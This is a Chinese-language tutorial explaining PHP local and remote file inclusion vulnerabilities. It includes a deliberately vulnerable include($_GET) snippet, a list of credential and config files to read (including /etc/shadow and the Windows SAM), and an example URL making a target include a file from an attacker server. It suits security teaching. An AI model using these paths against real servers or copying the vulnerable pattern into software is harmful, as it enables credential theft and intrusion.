漏洞讲解
漏洞过程解析
在使用include等包含函数时,当对包含文件的来源过滤不严格,那么会包含到恶意文件,攻击者将会通过这个恶意文件来到达他想要达到的相应目的。
引用一句网上看到的话:文件包含漏洞和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
漏洞原理
在开发过程中,难免会有相同代码吃饭使用的情况,我们会将这类代码单独放在一个文件中,等到要用的时候,可以直接在使用出运用包含函数来进行运用,而这种方式会导致客户端可以调用其他的恶意文件,由此被利用。
漏洞利用前提
被包含的文件应该被当作一个变量实验,用户可传入的,如若该变量未被采取相应安全措施(如设置白名单),那么将出现文件包含漏洞。
文件包含中的PHP知识
在php.ini文件在有这么两个变量 allow_url_fopen和allow_url_include
allow_url_fopen 默认值为ON,为允许url的封装协议打开文件处理。
allow_url_include 默认值为OFF,为不允许url的封装协议包含文件,如若需要进行远程包含文件需要将参数设置为ON。
常见的包含函数
PHP:include(),include_once(),require(),require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual(除了PHP的,另外两个我都不了解,网上看到整理的,嘿嘿)
就讲一下PHP这四个包含函数的区别吧
include:包含文件时,如若包含失败,会返回一个警告,但不会影响代码执行。
include_once():与include作用相同,不同的是,include_once()函数会检查该文件是否已经被包含过了,如果已经包含过,就不会在包含了,也就是相同的文件只会包含一次。
require():包含文件时,如若包含失败,代码将终止执行。
request_once():与require()类似,与require()不同的是,跟上面将include()和include_once()的不同。
文件包含漏洞分类
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞
本地文件包含漏洞(LFI)
能够打开包含本地文件的漏洞就叫作本地包含文件漏洞
举一个例子,在filetest.php文件中写入
<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>
在phpinfo.php写入
<?php
phpinfo();
?>
filetest.php中有name参数,这个参数能够被用户所控制,用户提供这个参数来包含本地的文件,那么就形成了本地包含漏洞
如filetest.php,这样的代码可以让我们读取到系统本地的敏感信息
可以采用来读取下面这些敏感信息
Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
Linux系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
因此也可以这样构造http://127.0.0.1/filetest.php/?name=C:\Windows\system.ini
远程文件包含漏洞(RFI)
远程文件包含漏洞成因其实和本地文件包含漏洞相同,只不过远程文件包含漏洞利用的是外部服务器中文件。
远程文件包含漏洞需要前面讲的allow_url_fopen、allow_url_include参数均为ON
说一下大概过程
需要两台服务器,一台为目标服务器,一台为攻击者服务器
目的服务器下php代码
<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>
攻击者服务器下php代码
<?php
phpinfo();
?>
攻击者访问目的服务器,并将他本地下服务器的文件进行远程文件包含
假设目的服务器:192.168.0.1
攻击者服务器:192.168.0.2
那么便为192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php